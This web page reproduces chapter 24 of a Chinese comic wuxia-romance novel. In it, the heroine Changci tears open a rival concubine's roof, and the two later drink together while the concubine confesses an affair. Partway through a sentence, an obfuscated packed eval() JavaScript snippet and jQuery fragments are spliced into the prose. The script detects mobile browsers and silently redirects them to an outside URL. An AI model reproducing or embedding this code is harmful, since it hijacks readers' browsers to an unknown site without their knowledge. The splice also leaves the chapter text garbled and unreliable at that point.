24. 第 24 章
作品:《既来之,则杀之》 “你告诉宁王,皆因柳庭月一事我被吓得心神不宁、茶饭不思魂不守舍,瞧着人是不大行了,原本该好好将歇上一段时日,可当下又要急着去大敖山,路途遥远,只怕是会颠簸出个什么病来,所以——”
庄慕怀盯着她上扬的唇角,听她道:“所以想借宁王府姜妃一用,姜妃医术精明,若能陪同我们一起行至归云阁,途中对我细心照料,你也好放心些。”
既然宁王不会把柳庭月怎么样,那姜姐姐留在这里不过是徒增烦恼,还不如出去走走顺带散散心。
若是此行能遇到个可心的男子,能跟宁王和离当然最好了!若是不能,那也算是替他宁王跑了一趟差,谅他也得记着这份恩情。
两全其美。
长辞这么想,可庄慕怀却不这么想。
庄慕怀鲜少有目瞪口呆的时候,自打遇见长辞后,这也不知道是第几次脸上露出难以置信的神情了。
他扶了扶鬓角缓缓开口,“你的意思是,让我一个大男人去求另一个男人,求他同意把自己的女人借给我,让她跟我走?”
“……”不是,他怎么会这么理解?
长辞连忙纠正,“不是跟你,是跟我!”
“等等!”庄慕怀倏地反应过来,“什么叫我担心你的病情,如果姜妃跟着,我会放心些?”
他刻意咬重“我”这个字音。
长辞往后退了一步,眼神乱瞟,“那什么,我之前在宁王府大肆宣扬过我们俩的关系,宁王大概以为……”
“以为什么?”
长辞哼哼唧唧,声音小得跟蚊子似的,“以为我是你未过门的妻子。”
说完看庄慕怀没什么反应,又理直气壮起来,“不然你以为宁王为何能三番五次地容忍我对他有大不敬之过。”
这可都是借您的脸面。
“你还知道你大不敬?”庄慕怀气笑了,上手揪住她白嫩的脸蛋,“那你知不知道上一个敢跟我攀关系的女人是什么下场?”
“唔,唔。”扯得长辞吱哇乱叫:“快凶开,装唔怀,你喜定惹!”
庄慕怀一瞧这扑棱扑楞的劲儿“噗嗤”一声乐了,气一下子就消了,松开她问,“说什么呢?”
“老子说,你死定了!”长辞一拍栏杆,张口就往他肩膀上咬。庄慕怀往旁边一闪,“属狗啊你!”
话音未落,只见长辞又生生扑了上来。庄慕怀起身一跃,跳到湖中的游船上借力上了对岸,长辞紧跟在后面追,奈何人家对宁王府比她熟,没一会儿的功夫就不见了踪影。
长辞气得咬牙切齿,一边揉着红得发烫的半张脸,一边站在墙头四处张望。
“喂,你这个小贱人,我没去找你就算了,你还敢来找我!”
嗯?是谁在说话?!
“死丫头,我在这儿!”
此院堆金砌玉,长辞顺着树影的缝隙看过去,一眼便瞧见有人正站在雕花的小轩窗里面颐指气使地瞪着她。
睁大眼睛仔细一看,呦,这不是瞿小宛么!
此时院门大开着。
长辞飞下墙头,自来熟地进了屋子,坐下来给自己斟了杯茶,“刚好口渴了,谢啦。”
“你!”瞿小宛指着她的鼻子气道:“你这个小……”
长辞翘着一条腿打断她,“再敢说‘贱人’两个字,我就把你的舌头拔下来。”
瞿小宛原本打扮得花枝招展的,是要去书房给宁王侍候笔墨,顺便看能不能留宿在王爷那儿,谁知道还没出门就碰上这死丫头,真是倒霉透了!
一看见她这张脸,瞿小宛就想起了自己那日所受的羞辱,顿时气得牙痒痒。
“别以为我拿你没办法你,我这就告诉王爷,你伙同姜云那贱……那女人一起害我性命!”
“那感情好,我们俩一起去,我正好也要告诉王爷你偷汉子的事。”
“你、你胡说!”瞿小宛脸“唰”一下就白了,手忙脚乱地关了门窗,“这是污蔑!是造谣!”
长辞挖挖耳朵,优哉游哉地开口,“是不是污蔑你自己心里清楚,反正知晓此事的也不止你我二人,我也不怕你抵赖。”
“你少诈我,昇州城里根本就没人知道此事!”
瞿小宛说完才后知后觉自己说错了话,惊得她赶紧捂上嘴巴,往后退了一步,还没想好怎么把话圆回来,就听一旁那死丫头漫不经心道:
“哦,那我改明儿就出去给你宣传宣传。”
“你敢!”瞿小宛面色骤变。
“你看我敢不敢喽。”
“来人!”瞿小宛对着外面拍了拍掌,转而恶狠狠地对着长辞,“你以为你今天还出得了这间屋子吗?!”
“怎么?你这是打算杀我灭口?”长辞扔下手中剥好的橘子,一脸的兴奋。
“杀”字一出,可吓了瞿小宛好大一跳,她这辈子还没杀过人呢,“我、我、我杀你干什么!我是要将你关在柴房,饿上三天三夜,看你还敢不敢满口胡言!”
正说着,几个力壮如牛的侍卫随即推门而入,将长辞团团包围了起来。
瞿小宛冷哼一声,“你要是怕了还来得及,只要跪地磕三个响头,本夫人自会大发慈悲地放了你。”
话音甫落,只听“轰”一声,长辞起身一掌便拍飞屋顶的瓦片,居高临下地看着瞿小宛,“不是说我出不了这间屋子吗?咦,我怎么出来了?”
说着又从上面轻巧地跳了下来,“咦,我怎么又进来了?”
“我出来啦!我又进来啦!”
如此往复了三四次,才终于消停地坐了下来。众侍卫你看看我,我看看你,咽了口唾沫边往出退边道:“瞿夫人,我们、我们这就去禀报王爷。”
说罢一溜烟全都跑了。
长辞勾勾手指,一脸八卦地凑在瞿小宛耳边,学着她方才的样子,“你要是怕了还来得及,只要跟我讲讲你和屠夫张的事,本姑娘自会大发慈悲地放了你。”
“……”
瞿小宛两眼一翻,被气得晕厥了过去。
与此同时,宁王府主院的书房外。
“你方才听到什么声响了吗?”宁王往西边的方向看了一眼,转头问一旁的庄慕怀。
庄慕怀眼皮一跳,总觉得此事与长辞有关。
天将擦黑。就在这时,外面突然火急火燎地跑进来个侍卫,似乎有事要禀,但碍于庄慕怀在场又憋了回去,杵在原地不知该如何是好。
“有事便说。”宁王皱眉。
那侍卫忙小跑到跟前,先是偷偷看了一眼庄慕怀,这才道:“禀王爷,长辞姑娘她、她将瞿夫人的房顶戳了个大洞……”
“??”宁王愣住,一时间不知该作何反应。
倒是一旁的庄慕怀还算淡定,“是不是有什么误会?那丫头脾气不大好,力气也有些大,做事比较冲动……”
宁王欲言又止地看向自己多年好友,心道脾气不好,力气还大,脑子又有毛病,你到底是看上她什么了啊?!
想罢叹了口气,痛心疾首地拍拍庄慕怀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097394|179455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肩膀,“你要真非她不可,我这儿倒有几个医术高超的名医,待忙完这阵子你带长辞姑娘去看看?”
庄慕怀:“?”
“总之千万不能放弃治疗。”
“?”
“这件事可是直接关系到你后半生的幸福。”
“?”
……
月光如水,倾洒在屋顶的瓦砾上,涟漪般微微波动。
长辞和瞿小宛分坐在桌案的两侧,相安无事地靠在椅背上抬头望天。从屋顶破着的大洞看出去,此时刚好能看到一轮明月高悬于空,柔和而静谧。
瞿小宛昏厥片刻再清醒过来之后,就被治得服服帖帖的,不再“小贱人小贱人”地瞎叫嚷了。她这一消停下来,身上竟难能可贵地涌现出几分娴静的气质。
俩人一人抱一个酒坛子,就这么静静坐着赏月,看一眼月亮喝一口酒,场面竟诡异地有几分和谐……
半坛酒下肚,瞿小宛也不知是有感而发还是打发时间闲聊,自顾自提起了她与宁王的初见。
“那是一年前,扬州三月天,王爷当日一身黑衣纵马飒踏而过,我站在桥上只远远看过一眼,便再也忘却不了那道孔武有力的身影。”
忆起往事,她眼中带光,似乎陷入了一段美好的幻境中,“我幻想嫁给他,幻想他能宠我敬我,与我如胶似漆,缠绵悱恻。”
“贪享红帐之欢,日日行那风月之事……”
嗯?!怎么听着不大对劲儿……
长辞瞬间坐直了身子,竖起耳朵听她幽怨道:“谁料王爷他、他……”
“他怎么了?”难道是不行?!
“他素来爱音律不爱美人,整日流连于山水之间,对府上诸事一概不管,我一个如花似玉的姑娘家,却要在这偌大的王府后院里蹉跎时光。俗话说得好,食色性也,长辞姑娘你说说,这谁还能没个世俗杂念男女欲望了是不是?”
说到动情处,瞿小宛打了个酒嗝,一把抓住长辞的手,“何况我还是那种特别有欲望的,我孤独寂寞的时候,就特别希望能有个人来陪我,纾解我的苦楚……我这么说你能理解的吧。”
“……我不理解。”半坛酒而已,怎么就能醉成这个样子?
“后来、后来有一次张大哥往府里送猪肉,他身材魁梧,我一见着他,就、就……”瞿小宛双颊红的像火烧云,闷头又喝了一口酒。
“?!”长辞难以启齿,“然后你们就……”
瞿小宛重重点头,“嗯!”
这话实在太露骨了,惊得长辞差点从凳子上掉了下来。“你竟然因为宁王那什么不能……满足你,就跑去找了屠夫张?!”
“对啊。”瞿小宛毫不避讳地点点头,“想我出身也算得上是顶好了,自小喜欢什么没有,凭什么要在这深宅大院里过清心寡欲的日子,别说是什么王爷,就是这世间最勇猛的儿郎!嗝,我也配得上!”
明白了。“原来你喜欢宁王,只是因为他孔武有力的身躯啊?”
“不然呢?”瞿小宛醉得晕晕乎乎,脸上却是一副理所当然。
口齿倒还挺清晰,“论权力,他只是个闲散王爷,论财力,王府又没我家有钱。我看上他,可不就是单单看上他这么个人么?可王爷既然给不了我想要的,那就休要怪我自己找乐子了!”
长辞尴尬一笑,“……你倒是想得挺开。”
“想不开有什么办法,人还不是得自己活出来。”瞿小宛起身剪了剪灯芯,“不然就得生生怨死在这院子里头。”

